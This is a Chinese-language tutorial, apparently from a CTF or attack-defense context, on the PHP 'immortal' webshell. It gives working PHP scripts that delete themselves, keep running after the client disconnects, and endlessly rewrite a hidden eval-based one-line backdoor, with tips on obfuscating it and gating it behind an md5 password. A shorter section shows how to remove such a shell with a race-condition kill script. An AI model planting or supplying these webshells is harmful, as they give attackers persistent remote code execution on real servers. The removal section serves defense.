如同字面意思一样,不死马怎么样都不会给"杀死"的木马,他是直接写入进程中,无限在指定目录下生成木马文件
<?php
set_time_limit(0);
ignore_user_abort(1); #1表示,忽略与客户端断开连接,继续执行脚本
unlink(__FILE__); #执行完后删除自身
while (1) {
$content = "<?php @eval($_POST["cmd"]) ?>";
file_put_contents(".bk.php", $content);
usleep(10000); #停一会
}
?>
上面就是典型的不死马,当然有几处是有些问题的
1.删除自身,也可以不删除,没什么区别
2.写入的一句话,这类一句话木马可能一下就能查出来,或者别人看到后知道你的php木马的密码是什么,一般情况下也可以加混淆
3.usleep()也不一定需要,有的文件的宗旨在于卡目标机器,所以不断创建文件消耗对方服务器资源也是可以的
正常的PHP一句话木马为
<?php @eval($_POST["cmd"]) ?>
但这样别人看到后也可以直接利用,而且很容易就可以通过命令来找到这个玩意,所以也可以通过混淆一下,或者加个md5密码
<?php
set_time_limit(0);
ignore_user_abort(1);
$file=".shell.php";
$shell="<?php substr(md5(\$_GET['x']),28)=='acd0'&&eval(\$_POST['c']);?>"; #md5=lostwolf
while(1){
file_put_contents($file,$shell);
system('chmod 777 .shell.php');
touch(".shell.php");
usleep(50);
}
;
?>
两个条件同时满足,也就是Md5符合时,这个木马才会生效
杀死不死马的方法
首先 top|grep httpd
来查看不死马的进程ID
可以看到ID为 11198
和 111204
接着写php文件
<?php
while(1){
$pid=11198;
@unlink('.shell.php');
exec('kill -9 $pid;');
}
?>
因为不死马的特殊性,所以得条件竞争来删除,当然有的靶机处理比较卡,不需要条件竞争,手动直接kill <pid>就好了
这里拿一辆"公交车"来试验一下,目标机器已经给我种马了,所以直接上传个不死马访问就好了
上传完了之后访问,就会写入进程了,测试一下